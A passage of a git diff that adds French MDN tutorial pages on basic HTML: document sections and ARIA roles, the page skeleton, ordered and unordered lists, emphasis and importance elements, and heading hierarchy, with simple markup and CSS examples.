Vous pouvez être confronté-e à d'autres scénarios que celui que nous venons de voir. Dans la liste qui suit, nous verrons des descriptions plus détaillées des éléments HTML liés aux sections d'un document :

+ + + +
+

Attention : Les éléments <div> sont parfois si pratiques qu'on en utilise trop. Ces éléments ne portent aucune sémantique, il ne font qu'encombrer le code HTML. Attention donc à ne les utiliser que lorsqu'il n'existe pas de meilleure solution sémantique. S'ils sont trop présents, cela rendra les mises à jour et la maintenance plus difficiles.

+
+ +

Exemple

+ +

Exprimé sous forme de code HTML, le dessin présenté ci-avant correspondrait à :

+ +
<!DOCTYPE html>
+<html lang="fr">
+<head>
+  <meta charset="utf-8">
+  <title>Document HTML</title>
+</head>
+<body>
+
+  <!--
+  Voici l'en-tête principal, utilisé sur les
+  différentes pages du site web
+  -->
+  <header>
+    header
+
+    <!--
+    Bien que ce ne soit pas obligatoire, on trouve
+    généralement un menu de navigation dans l'en-tête
+    principal
+    -->
+    <nav>
+      <ul>
+        <li><a href="#">Navigation</a></li>
+        <li><a href="#">Qui nous sommes</a></li>
+        <li><a href="#">Ce que nous faisons</a></li>
+        <li><a href="#">Contact</a></li>
+      </ul>
+
+      <!--
+      Une barre de recherche est un outil de navigation
+      "non-linéaire" au sein du site web.
+      -->
+      <form>
+        <input type="search" name="q" placeholder="Recherchez...">
+        <input type="submit" value="OK">
+      </form>
+    </nav>
+  </header>
+
+  <!--
+  Voici le contenu principal
+  -->
+  <main>
+
+    <!--
+    Il contient un article
+    -->
+    <article>
+      <h1>Titre</h1>
+      <p>Lorem ipsum dolor sit amet, consectetur adipisicing elit.
+      Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue
+      ligula as quam viverra nec consectetur ant hendrerit. Donec et
+      mollis dolor. Praesent et diam eget libero egestas mattis sit
+      amet vitae augue. Nam tincidunt congue enim, ut porta lorem
+      lacinia consectetur.</p>
+
+      <h2>Sous-section</h2>
+      <p>Donec ut librero sed accu vehicula ultricies a non tortor.
+      Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean
+      ut gravida lorem. Ut turpis felis, pulvinar a semper sed,
+      adipiscing id dolor.</p>
+
+      <p>Pelientesque auctor nisi id magna consequat sagittis.
+      Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat
+      nist imperdiet. Ut convallis libero in urna ultrices accumsan.
+      Donec sed odio eros.</p>
+
+      <h2>Une autre sous-section</h2>
+      <p>Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus.
+      Cum soclis natoque penatibus et manis dis parturient montes,
+      nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris
+      vitae nisi at sem facilisis semper ac in est.</p>
+
+      <p>Vivamus fermentum semper porta. Nunc diam velit, adipscing ut
+      tristique vitae sagittis vel odio. Maecenas convallis ullamcorper
+      ultricied. Curabitur ornare, ligula semper consectetur sagittis,
+      nisi diam iaculis velit, is fringille sem nunc vet mi.</p>
+    </article>
+
+    <!--
+    le contenu placé sur le côté peut aussi
+    être dans le contenu principal
+    -->
+    <aside>
+      <p>N'hésitez pas à rendre visite à nos sponsors !</p>
+      <ul>
+        <li><a href="#">item</a></li>
+        <li><a href="#">item</a></li>
+        <li><a href="#">item</a></li>
+        <li><a href="#">item</a></li>
+        <li><a href="#">item</a></li>
+      </ul>
+    </aside>
+  </main>
+
+  <!--
+  Enfin, voici le pied de page principal,
+  utilisé sur les différentes pages du site.
+  Note : Ceci est une fausse déclaration de copyright
+  Attention à celles qui sont réelles.
+  -->
+  <footer>
+    ©Copyright 2050 par exemple.com. Tous droits réservés.
+  </footer>
+</body>
+</html>
+
+ +

Les rôles ARIA, qu'est-ce que c'est ?

+ +

HTML a initialement été conçu pour définir la structure d'un document. Or, il est désormais utilisé pour créer des applications web.

+ +

{{Glossary("ARIA")}} est une méthode qui permet d'indiquer aux technologies d'aide à la navigation qu'un élément HTML possède des fonctionnalités web applicatives.

+ +

Certains éléments HTML5 comme {{HTMLElement('nav')}} permettent de contenir des informations de ce genre et rendent (dans ce cas particulier) les attributs ARIA redondants. Cela dit, si vous utilisez des technologies qui ne supportent pas encore HTML5 ou que vous souhaitez utiliser un élément qui n'a pas de sémantique particulière (par exemple {{HTMLElement('div')}}) , vous pouvez appliquer des rôles ARIA de cette façon:

+ + + +

Pour en savoir plus à propos d'ARIA, consultez notre documentation.

+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/introduction_to_html/getting_started/index.html b/files/fr/conflicting/learn/html/introduction_to_html/getting_started/index.html new file mode 100644 index 0000000000..3e911e92c8 --- /dev/null +++ b/files/fr/conflicting/learn/html/introduction_to_html/getting_started/index.html @@ -0,0 +1,189 @@ +--- +title: Créer un document HTML simple +slug: Apprendre/HTML/Comment/Créer_un_document_HTML_simple +tags: + - Beginner + - Guide + - HTML + - Learn +translation_of: Learn/HTML/Introduction_to_HTML/Getting_started +translation_of_original: Learn/HTML/Howto/Create_a_basic_HTML_document +--- +

Pour créer un site web, on commence par rédiger un document HTML. Les navigateurs actuels sont plutôt tolérants mais pour éviter quelques maux de tête, mieux vaut l'assembler correctement dès le début.

+ + + + + + + + + + + + +
Prérequis :Vous devriez avoir installé un éditeur de texte et connaître quelques rudiments de HTML.
Objectifs :Apprendre à mettre en place un document HTML vierge tout en comprenant le rôle de chaque composant du squelette obtenu.
+ +

Chaque document HTML partage la même structure. Cet article décrira chacune des parties de cette structure. Une fois n'est pas coutume, commençons par la fin en regardant la structure complète, avant de la décomposer :

+ +
<!DOCTYPE html>
+<html lang="fr">
+  <head>
+    <meta charset="utf-8">
+    <title>Inscrire un titre ici</title>
+    <!-- On peut avoir d'autres méta-données ici -->
+  </head>
+  <body>
+    <!-- Ici, on placera tout le contenu à destination
+    de l'utilisateur -->
+  </body>
+</html>
+ +

Dans la suite de cet article, nous verrons les raisons d'être de chacun des morceaux de cet exemple. En attendant, vous pouvez copier/coller cette exemple dans votre éditeur de texte pour avoir un squelette de base, réutilisable pour vos différents documents.

+ +

Qu'est-ce qu'un document HTML ?

+ +

Un document HTML ou une page web est simplement composé de texte structuré au sein de balise (une balise étant un mot-clé encadré par des chevrons ("<>"), par exemple, dans l'exemple précédent <html> et <body> sont deux des éléments qui sont utilisés). La plupart des balises fonctionnent par paires (on a alors une balise ouvrante <body> et une balise fermante correspondante : </body>). Un {{Glossary('élément')}} est une chaîne de texte entre deux balises.

+ +

La plupart des programmes (le plus souvent des {{glossary("navigateur","navigateurs")}}) traitent ces balises pour générer (ou « rendre ») le site que l'utilisateur peut voir, écouter ou ressentir.

+ +

Étant donné que HTML est un format textuel, il est possible d'écrire des fichiers HTML avec n'importe quel éditeur de texte. Ajouter des balises HTML au texte est très simple et se fait en un rien de temps. Pour choisir les meilleurs outils, mieux vaut comprendre les balises et  {{Glossary("Attribut","attributs")}} les plus communs. C'est le but de la zone d'apprentissage de MDN.

+ +

Dans la suite de cet article, nous expliquerons les différents fragments de l'exemple précédent :

+ + + +

Le doctype

+ +

La chaîne de texte suivante est appelée {{Glossary("doctype")}} (qui est la contraction, anglaise, de « document » et « type »).

+ +
<!DOCTYPE html>
+ +

En ce qui concerne HTML, le doctype est un reliquat historique. Pourquoi est-il alors toujours présent ?

+ +

Si vous ne commencez pas votre document par <!DOCTYPE html>, les navigateurs afficheront votre document en mode quirks. Le mode quirks est le mode utilisé par le navigateur pour afficher les documents anciens ou malformés, écrits dans les années 1990 lorsque HTML était peu (voire pas du tout) standardisé et que chaque navigateur gérait HTML à sa façon.

+ +

Le doctype déclenche l'utilisation du mode standard. Cela fait que la page sera affichée de façon prévisible et cohérente par rapport aux standards définis par le {{glossary("W3C")}} et le {{glossary("WHATWG")}}. Cela signifie également que les navigateurs gèrent les erreurs de façon standard, prévisible et homogène.

+ +
+

Attention : Le doctype doit commencer le document HTML avant toute autre chose (pas de commentaires HTML, pas de sauts de ligne, pas de blancs). Certains navigateurs historiques seront très pointilleux à ce sujet et mieux vaut donc respecter cette règle.

+
+ +

L'élément <html>

+ +

Tout le document (en dehors du doctype) est contenu entre les balises <html> et </html>. Il ne peut y avoir qu'un seul élément {{HTMLElement('html')}} par document.

+ +
+

Il est possible d'oublier <html> et le navigateur le comprendra de façon implicite. Cependant, afin de pouvoir manipuler le document dans son ensemble, <html> sera nécessaire. Par exemple, on utilise <html lang="fr"> pour indiquer que le document entier est écrit en français. De la même façon, <html> permettra d'appliquer une mise en forme sur tout le document grâce à CSS.

+
+ +

Les éléments <head> et <body>

+ +

Au sein de l'élément <html>, le document aura une « tête » (head en anglais) située entre les balises <head> et </head> et un « corps » (body en anglais) situé entre les balises <body> et </body>.

+ +

La tête de la page contient les méta-données (c'est-à-dire les données qui décrivent le document) mais pas le contenu principal affiché pour l'utilisateur. Ces méta-données peuvent être utilisées par les moteurs de recherches, pour ajouter des liens vers des feuilles de style CSS, etc. Dans la section qui suit, nous verrons les contenus les plus importants pour cet élément : le titre et la déclaration du jeu de caractères.

+ +

Le corps contient le contenu affiché pour l'utilisateur. C'est donc sur cet élément qu'on s'attardera le plus.

+ +
+

HTML est très souple à propos de la structure du document, si vous oubliez les éléments <head> et <body>, ils seront implicitement ajoutés. Voici un document sans <html> ni <head> ni <body> :

+ +
<!DOCTYPE html>
+<title>Ceci est un document HTML</title>
+
+Coucou monde ! (<i>Hello world!</i>)
+
+ +

Le navigateur s'occupera de tout :

+ +

[Screenshot of the browser making its best guess]

+ +

Même si le navigateur prend soin d'ajouter les balises qui manquent : c'est une mauvaise idée de les oublier. Si vous continuez sur cette voie et que votre contenu devient plus complexe, vous devrez faire confiance au navigateur pour déterminer ce qui est la tête et ce qui est le corps. En explicitant où est <head> et où est <body>, vous gagnerez plus de temps.

+
+ +

L'élément <title> : le titre du document

+ +

Dans la tête du document, on écrira un titre concis et équivoque qui décrit le document. Il faut que le titre ait du sens sans autre contexte. Récapitulons, voici où va le titre :

+ +
<!DOCTYPE html>
+<html>
+    <head>
+        <title>Mon fabuleux exemple HTML</title>
+        ...
+    </head>
+    <body>
+        ...
+    </body>
+</html>
+ +

Le titre ne doit contenir que du texte (aucun élément ne sera interprété dans <title>).

+ +
+

Là encore, libre à vous de ne pas indiquer le titre et d'en subir les conséquences. Le titre d'un document est notamment utilisé dans les résultats des moteurs de recherche et pour indiquer le propos du document. De plus, les navigateurs graphiques utiliseront les titres pour les libellés des onglets.

+ +

S'il n'y a pas de titre, les navigateurs et les moteurs de recherches construiront eux-mêmes le texte, ce qui ne sera pas très parlant :

+ +
<!DOCTYPE html>
+<!-- Pas de titre ici -->
+Hello world!
+
+ + + + + + + + + + + + + + +
Chrome[Screenshot of a Chrome tab labeled ''index.html'']
Firefox[Screenshot of a Firefox tab labeled with the HTML document's entire path and filename]
+
+ +
+
+

Définir le jeu de caractères utilisé

+
+
+ +

Les ordinateurs enregistrent toutes les informations sous forme de zéros et de uns. Tous les nombres sont, au final, exprimé en base 2 (c'est-à-dire au format binaire). Pour exprimer d'autres valeurs, il est nécessaire de s'accorder sur un format de représentation qui définit la correspondance entre telle valeur binaire et telle valeur à représenter.

+ +

Heureusement, lorsqu'il s'agit de représenter des chaînes de caractères, il existe un standard appelé {{glossary("UTF-8")}} qui permet d'associer des nombres binaires à l'ensemble des glyphes contenus dans les différents langages humains. On peut donc dire, sans ambiguité, que "A" sera stocké avec la valeur "65", ce qui correspond, en écriture binaire, au nombre "01000001". 

+ +

D'autres formes d'encodage sont encore utilisées par ailleurs, aussi, pour garantir le résultat obtenu, on déclare explicitement qu'on utilise UTF-8 dans le fichier HTML. C'est pour cette raison que nous avons ajouté <meta charset="utf-8"> dans l'exemple ci-avant.

+ +
+

Note : En plus de cette déclaration, il faut également enregistrer le fichier HTML avec l'encodage UTF-8. Généralememnt, vous trouverez une option dans le menu « Enregistrer sous… » qui permet de définir l'encodage à utiliser lors de l'enregistrement.

+ +

Voici ce qui se produit si on utilise un document HTML encodé en ISO-8859-1 et non en UTF-8. Le navigateur affichera � à la place des lettres accentuées :

+ +

[Screenshot showing the browser displaying ''Les Fran?ais utilisent des lettres accentu?es'']

+
+ +

Modèles et gabarits

+ +

Au fur et à mesure que vous créerez vos document HTML, vous remarquerez que la même structure revient encore et toujours… et que c'est pénible de la saisir à chaque fois. Pour épargner du temps, vous pouvez sauvegarder ce code dans un fichier modèle que vous pourrez utiliser à chaque fois que vous aurez besoin d'une nouvelle page HTML (pour laquelle il suffira de copier le modèle plutôt que de retaper le code correspondant).

+ +

Vous pouvez mettre en place des modèles personnalisés pour les différents projets que vous avez. Cela vous permettra d'éviter d'écrire à chaque fois la même chose pour les barres de navigation, les liens vers les feuilles de styles ou du code qui est réutilisé pour chaque page d'un site (certaines sociétés travaillent même à créer, fournir et vendre des modèles de fichiers HTML).

+ +
+

Astuce : Si votre éditeur de texte permet de gérer les snippets (fragments de code), vous pouvez placer votre modèle dans un snippet pour l'invoquer rapidement et générer un début de document à la vitesse de la lumière.

+
+ +
+

Astuce : À un certain moment, vous serez devenu-e très familier-e avec HTML. Lorsque ce sera le cas, n'hésitez pas à consulter le projet HTML5 Boilerplate. Celui-ci décrit des templates (modèles) avancés de documents HTML, construits avec les meilleures pratiques du développement web.

+
+ +

Exercices

+ +

À construire, n'hésitez pas à contribuer !

diff --git a/files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals/index.html b/files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals/index.html new file mode 100644 index 0000000000..e7c828c348 --- /dev/null +++ b/files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals/index.html @@ -0,0 +1,171 @@ +--- +title: Créer une liste d'éléments avec HTML +slug: Apprendre/HTML/Comment/Créer_une_liste_d_éléments_avec_HTML +tags: + - Beginner + - Guide + - HTML +translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Lists +translation_of_original: Learn/HTML/Howto/Create_list_of_items_with_HTML +--- +
+

Vous souhaitez ajouter une liste numérotée ou une liste à puces. Quel que soit son type, HTML permet de dresser une liste très rapidement.

+
+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre à mettre en place des listes (ordonnées et non-ordonnées) avec HTML.
+ +

Les listes non-ordonnées et les listes ordonnées

+ +
+
Les listes non-ordonnées
+
+

Comme leur nom l'indique, les listes non-ordonnées n'ont pas de notion d'ordre et on peut mélanger leurs éléments sans que cela modifie leur sens. Une liste de courses est un bon exemple de liste non-ordonnée (l'ordre dans lequel on achète les produits n'a pas grande importance) :

+ +

Croustille, moutarde

+ +

(Photo par Joseph SARDIN)

+ +

Les listes non-ordonnées apparaissent parfois à des endroits inattendus : les barres de navigation sont par exemple des listes non-ordonnées auxquelles on a appliqué quelques règles CSS pour la mise en forme.

+
+
Les listes ordonnées
+
+

Dans ce cas, les éléments de la liste doivent être lus ou réalisés dans un ordre donné, les éléments sont donc numérotés. On retrouve souvent ces listes pour décrire des processus pas-à-pas (comme un mode d'emploi ou une recette) où chaque étape ne peut être réalisée que si l'action précédente a été traitée :

+
+
+ +

Construire des listes avec HTML

+ +

Comment donc construire une liste avec HTML ? Pour commencer, il faudra répondre à une question : si on mélange les éléments de la liste, est-ce que le sens de la liste change également ?

+ + + +

Ajouter des éléments à une liste

+ +

Toute la liste sera placée dans les balises {{htmlelement("ol")}} ou {{htmlelement("ul")}}. Chacun des éléments de la liste sera placé à l'intérieur d'un élément {{htmlelement("li")}}. Voici un exemple qui contient les deux types de liste :

+ +
<h1>Guacamole rapide à faire</h1>
+
+<h2>Ingrédients</h2>
+<ul>
+  <li>2 avocats (pelés et avec les noyaux retirés)</li>
+  <li>le jus d'un citron</li>
+  <li>¼ de concombre, coupé grossièrement</li>
+  <li>1 petite tomate, coupée</li>
+</ul>
+
+<h2>Instructions</h2>
+<ol>
+  <li>Écrasez délicatement les avocats avec une fourchette</li>
+  <li>Placez la purée obtenue dans un plat et arrosez avec le jus de citron</li>
+  <li>Mélangez pour que le jus de citron empêche la purée d'avocat de noircir</li>
+  <li>Mélangez la tomate et le concombre coupés</li>
+  <li>Gardez au frais et servir rapidement avec des tortillas</li>
+</ol>
+
+ +

Par défaut, le navigateur utilisera des chiffres pour les listes ordonnées et des puces (rondes) pour les listes non-ordonnées :

+ +

{{EmbedLiveSample('Ajouter_des_éléments_à_une_liste','100%',350)}}

+ +

Comment modifier la numérotation ou les puces

+ +

Avec HTML

+ + + +

Par exemple, ici, on aura une liste qui utilise des lettres majuscules et qui commence à partir de C :

+ +
<ol start="3" type="A">
+  <li>Je suis premier</li>
+  <li>Je suis deuxième</li>
+  <li>Je suis troisième</li>
+</ol>
+ +

Ce qui donne :

+ +

{{EmbedLiveSample('Avec_HTML','100%',90)}}

+ +

Avec CSS

+ +

Les attributs HTML permettent de modifier le contenu d'une liste. Pour ajuster l'aspect cosmétique d'une liste, il faudra utiliser CSS.

+ + + +

CSS peut permettre d'obtenir des effets très complexes (comme un système de comptage personnalisé). Si vous souhaitez apprendre CSS, vous pouvez parcourir le Guide CSS et voir comment appliquer des règles CSS à une page web.

+ +

Prenons un rapide exemple. Voici une liste HTML non-ordonnée :

+ +
<ul>
+  <li>J'ai un point</li>
+  <li>J'ai un cercle</li>
+  <li>J'ai aussi un cercle</li>
+</ul>
+ +

Ces règles CSS permettront que la puce des éléments soit un cercle, sauf pour le premier (où ce sera un point) :

+ +
ul {
+  list-style-type: circle;
+}
+
+li:first-child {
+  list-style-type: disc;
+}
+
+ +

Ce code donnera :

+ +

{{EmbedLiveSample('Avec_CSS','100%',90)}}

+ +

Les listes imbriquées

+ +

On voit souvent plusieurs listes placées les unes dans les autres. Autrement dit, on peut imbriquer des listes (un élément d'une liste sera une liste entière) :

+ +
<ul>
+	<li>Un composant</li>
+	<li>Un processus :
+		<ol>
+			<li>Étape 1</li>
+			<li>Étape 2</li>
+			<li>Étape 3</li>
+		</ol>
+	</li>
+	<li>Un composant</li>
+</ul>
+
+ +

Cela donnera le résultat suivant :

+ +

{{ EmbedLiveSample('Les_listes_imbriquées','100%',150) }}

+ +

Les menus de navigation utilisent parfois des listes imbriquées. Pour étudier un exemple réel, vous pouvez inspecter le code HTML du menu MDN qui se situe en haut de cette page.

+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals_42ad0dcdd765b60d8adda1f6293954b6/index.html b/files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals_42ad0dcdd765b60d8adda1f6293954b6/index.html new file mode 100644 index 0000000000..668ad5c084 --- /dev/null +++ b/files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals_42ad0dcdd765b60d8adda1f6293954b6/index.html @@ -0,0 +1,189 @@ +--- +title: Mettre l'accent sur un contenu ou indiquer qu'un texte est important +slug: >- + Apprendre/HTML/Comment/Mettre_l_accent_sur_un_contenu_ou_indiquer_qu_un_texte_est_important +tags: + - Beginner + - Composing + - Guide + - HTML + - Learn + - OpenPractices +translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Emphasis_and_importance +translation_of_original: Learn/HTML/Howto/Emphasize_content_or_indicate_that_text_is_important +--- +

Dans cet article, nous verrons comment baliser des passages caractéristiques, selon leur importance, leur pertinence ou un changement de ton.

+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment créer un document HTML ismple.
Objectifs :Apprendre comment marquer des passages de texte contenus dans votre document qui seraient spéciaux ou particulièrement importants pour les lecteurs.
+ +

Les dialogues ne se résument pas uniquement à des séries de mots : le ton importe également. Dans les œuvres couchées sur le papier, ce sont la ponctuation et la mise en forme qui permettent de retranscrire ces informations. Quelle que soit l'outil utilisé, le but est d'ajouter des informations implicites.

+ +

Voici un exemple simple :

+ +
+

Je suis en retard.

+ +

Je suis en retard ?

+
+ +

Dans cet exemple, la première phrase exprime une connaissance (je sais que je suis en retard) alors que la seconde évoque un doute ou pose une question. On remarquera que l'ordre des mots n'a pas changé, seule la ponctuation change cette nuance. À l'oral, cela se serait traduit par un changement de ton.

+ +

La mise en forme permet également d'ajouter des nuances. Voici un deuxième exemple :

+ +
+

Je suis sympa, même si parfois je suis méchant.

+
+ +

Cette phrase est plutôt neutre. Ajoutons quelque chose pour changer ça :

+ +
+

Je suis sympa, même si parfois je suis méchant.

+ +

Je suis sympa, même si parfois je suis méchant.

+
+ +

Remarquez-vous le changement que cela apporte ? L'italique accentue l'adjectif « sympa » ou « méchant ». En imprimerie, l'accentuation est portée par la mise en forme (ici la mise en italique). Il faudrait plus de contexte pour saisir tout le sens de cette phrase mais la mise en forme ajoute clairement une intonation.

+ +

Cet article ne porte pas sur la mise en forme du document. Ce n'est pas le rôle de HTML que de mettre en forme un document (en revanche, la tâche est toute indiquée pour {{Glossary('CSS')}} qui vous aidera à contrôler l'aspect visuel de votre page web). Ici, nous verrons comment ajouter le sens porté par la mise en forme. Or, ajouter du sens est le rôle de HTML. Une fois que le sens est présent dans le document, alors, on pourra le mettre en forme grâce à CSS.

+ +

Ici, nous évoquerons trois nuances qui peuvent être exprimées par HTML : l'emphase, l'importance et la pertinence.

+ +

L'emphase

+ +

L'élément {{htmlelement('em')}} (<em> pour emphase) permet d'exprimer une accentuation particulière sur un ou plusieurs mots (qui se serait traduite à l'oral par un changement de ton).

+ +
Allons-nous <em>au cinéma</em> ce soir ?
+Allons-nous au cinéma <em>ce soir</em> ?
+
+ +

Par défaut, un navigateur graphique affiche le texte contenu dans un élément <em> en italique mais cette mise en forme peut être changée avec CSS. Les lecteurs d'écran utiliseront un ton différent pour lire ce texte. Pour résumer, <em> signifie emphase et pas italique.

+ +

L'importance

+ +

L'élément {{htmlelement("strong")}} permet d'indiquer une importance forte (c'est en quelque sorte une emphase renforcée).

+ +
<p>
+  <strong>Ne pas</strong> toucher ces produits chimiques.
+  Ces produits chimiques sont <strong>corrosifs !</strong>
+</p>
+
+ +

Ici aussi, par défaut les navigateurs graphiques afficheront le texte contenu dans <strong> en gras. Mais là encore, <strong> signifie « très important » et pas « gras » ! La mise en forme pourra être adaptée librement avec CSS. De même, un lecteur d'écran lira le texte différemment car celui-ci est important (et non parce qu'il est affiché en gras).

+ +

La pertinence

+ +

<strong> permet d'indiquer du texte qui est important pour le contexte courant. L'élément {{htmlelement("mark")}}, en revanche, signifie que le texte est pertinent par rapport au contenu destiné au lecteur. Un exemple courant est l'utilisation des résultats liés à une recherche :

+ +
<p>
+  « ce » apparaît 3 fois dans le texte :
+  <mark>Ce</mark> chat a tué <mark>ce</mark>
+  rat et <mark>ce</mark> moineau.
+</p>
+
+ +

Là encore, la mise en forme appliquée peut être modifiée. Par défaut, le texte sera affiché sur un fond jaune :

+ +

{{EmbedLiveSample('La_pertinence', '100%', 64)}}

+ +
+

Attention lorsqu'on utilise <mark> pour marquer des résultats liés à une recherche. Si la recherche renvoie des correspondances partielles, cela pourrait casser les éléments <mark>. Par exemple : Le chat a couru après <mark>ce</mark>s oiseaux. Cela entraînera des problèmes d'accessibilité car les lecteurs d'écran ne sauront pas traiter (ou traiteront mal) les mots ainsi découpés.

+
+ +

Les éléments associés à la sémantique

+ +

Si vous souhaitez afficher un texte avec une mise en forme particulière, pensez d'abord au sens que vous souhaitez communiquer. Si le sens peut être transmis par {{htmlelement('em')}}, {{htmlelement('strong')}} ou {{htmlelement("mark")}}, utilisez ces éléments (plutôt que CSS seul, ce qui serait une mauvaise pratique).

+ +

Il existe d'autres cas pour lesquels on affiche habituellement le texte en italique ou en gras et qui correspondent à une sémantique particulière qui peut être transmise grâce à des éléments HTML :

+ + + +

HTML ne permet pas de couvrir tous les cas de figures (sinon utiliser HTML correctement serait un calvaire de perfectionnisme). En règle générale, si vous souhaitez afficher du texte de façon différente et qu'il existe un élément HTML pour transmettre ce sens : utilisez-le, sinon vous pouvez utiliser l'élément neutre {{htmlelement("span")}} en spécifiant sa sémantique avec l'attribut {{htmlattrxref("class")}} et en le mettant en forme grâce à CSS.

+ +

Les éléments que nous avons évoqués jusqu'à présent (à l'exception de <span>) ont tous une sémantique claire. En revanche, cela peut être plus ambigu avec les éléments {{htmlelement("b")}}, {{htmlelement("i")}} et {{htmlelement("u")}}. Ces éléments HTML permettent d'écrire du texte en gras, italique ou de le souligner. Ils sont apparus lorsque CSS n'existait pas ou avant qu'il ne soit supporté largement. Avec HTML5, ces éléments ont vu leur sémantique précisée.

+ +

Voici la règle à respecter : s'il n'existe pas d'élément approprié permettant de retranscrire précisément le sens d'un texte qui serait généralement affiché en gras, italique ou souligné, alors on pourra utiliser <b>, <i> ou <u> à la place de <span>. Attention toutefois à ne pas oublier l'accessibilité : la mise en italique n'est pas particulièrement utile pour les personnes utilisant des lecteurs d'écran ou pour les personnes qui utilisent un alphabet non latin.

+ + + +
+

Léger avertissement à propos du soulignement : les visiteurs associent fortement le soulignement avec des hyperliens. De fait, on ne soulignera généralement que les liens d'une page. <u> ne doit être utilisé que lorsque la sémantique qu'il porte est sans équivoque. Dans ces cas, CSS pourra être utilisé pour définir un motif de soulignement différent, plus approprié. L'exemple qui suit illustre comment obtenir ce résultat.

+
+ +
<!-- Des noms scientifiques -->
+<p>
+  Le colibri à gorge rubis (<i>Archilocus colubris</i>)
+  est l'espèce de colibri la plus répandue en Amérique
+  du Nord orientale.
+</p>
+
+<!-- Des termes étrangers -->
+<p>
+  Le menu comportait de nombreux termes exotiques comme
+  <i lang="uk-latn">vatrushka</i>, <i lang="id">nasi goreng</i>
+  et <i lang="en">pancakes</i>.
+</p>
+
+<!-- Une faute d'orthographe -->
+<p>
+  Un jour, j'écrirai <u class="erreur-orthographe">mieu</u>.
+</p>
+
+<!-- Des mots-clés mis en avant dans un mode d'emploi -->
+<ol>
+  <li>
+    <b>Tranchez</b> le pain en deux tranches.
+  </li>
+  <li>
+    <b>Insérez</b> une tranche de tomate et
+    une feuille de salade entre les tranches.
+  </li>
+</ol>
+
+ +
+
/* Voici des mises en forme alternatives
+permettant au lecteur de repérer la différence */
+
+b {
+  font-weight:  normal;
+  font-variant: small-caps;
+}
+
+.erreur-orthographe {
+  text-decoration: underline red wavy;
+}
+
+
+ +

{{EmbedLiveSample('Les_éléments_associés_à_la_sémantique', '100%',192) }}

+ +

En savoir plus

+ + diff --git a/files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals_e22cde852fd55bbd8b014a4eac49a3bc/index.html b/files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals_e22cde852fd55bbd8b014a4eac49a3bc/index.html new file mode 100644 index 0000000000..788bcc2a44 --- /dev/null +++ b/files/fr/conflicting/learn/html/introduction_to_html/html_text_fundamentals_e22cde852fd55bbd8b014a4eac49a3bc/index.html @@ -0,0 +1,95 @@ +--- +title: Mettre en place une hiérarchie de titres +slug: Apprendre/HTML/Comment/Mettre_en_place_une_hiérarchie_de_titres +tags: + - Beginner + - HTML + - Learn +translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals +translation_of_original: Learn/HTML/Howto/Set_up_a_proper_title_hierarchy +--- +

Dans cet article, nous verrons comment ajouter des titres de différents niveaux à un document web afin que les lecteurs puissent identifier le contenu et trouver les réponses à leurs questions plus efficacement.

+ + + + + + + + + + + + +
Prérequis :Vous devriez au préalable savoir comment créer un document HTML simple.
Objectifs :Apprendre comment utiliser des titres et les hiérarchiser dans un document web.
+ +

Pourquoi utiliser des titres ?

+ +

Les titres forment le squelette d'un texte sans fournir de longues explications. Prenons un exemple simple : même si ces deux textes sont en anglais, lequel semble le plus clair ?

+ +

[Picture comparing a document with headings to a document without headings]

+ +

Voilà une bonne partie de la réponse à la question posée avant.

+ +

Comme vous pouvez le voir, un lecteur utilisera les titres et leurs niveaux pour déterminer quel contenu est présent et s'il est utile de poursuivre la lecture pour trouver le contenu recherché. Nous passons généralement très peu de temps sur une page web et consulter les titres fait partie du processus que nous déroulons pour déterminer s'il faut rester sur la page ou la quitter. Pour cette raison, il est préférable d'avoir une organisation claire pour les titres afin que le lecteur se repère facilement et continue à consulter la page.

+ +

Vous faut-il plus d'arguments ? Savez-vous que certaines personnes ne lisent pas les pages web mais les écoutent grâce à des logiciels appelés {{interwiki('wikipedia',"Lecteur_d'écran","lecteurs d'écrans")}}. Ces logiciels permettent d'accéder rapidement à un contenu textuel donné. Parmi les techniques utilisées par ces logiciels, de nombreuses se basent sur les titres. Si les titres ne sont pas définis, pensez-vous que ces visiteurs prendront la peine d'écouter l'intégralité du document ?

+ +

Enfin, le plan d'un document, composé des titres, est souvent utilisé par les moteurs de recherche pour déterminer la pertinence d'un article sur un sujet de recherche donné. Chaque niveau de titre (de 1 à 6) aura un « poids » différent : un titre de niveau 1 sera jugé plus pertinent qu'un titre de niveau 2 et ainsi de suite.

+ +

Les titres HTML

+ +

HTML fournit des éléments qui permettent de créer des titres dans des documents HTML : ce sont les éléments {{htmlelement('h1')}}, {{htmlelement('h2')}} et jusqu'à {{htmlelement('h6')}}.

+ +

Ajouter le titre principal

+ +

Au début du document, vous pouvez écrire le titre de plus au niveau entre des balises {{htmlelement('h1')}} :

+ +
<h1>Améliorez vos compétences sur le Web !</h1>
+ +

Si vous considérez le document comme un arbre, le tronc sera le titre <h1>. Cela implique qu'un document ne doit avoir qu'un seul titre de niveau 1. Continuons les explications car ce sujet revient souvent dans les discussions. D'un point de vue technique, rien ne vous empêche d'utiliser plusieurs titres de niveau 1 dans vos documents. Cependant, d'un point de vue sémantique, cela serait bizarre car un titre de niveau 1 introduit un sujet totalement différent. Si vous jugez nécessaire d'avoir plusieurs titres de niveau 1 dans votre document, cela signifie peut être que le document doit être découpé en plusieurs documents dont chacun aurait un titre de niveau 1 distinct.

+ +

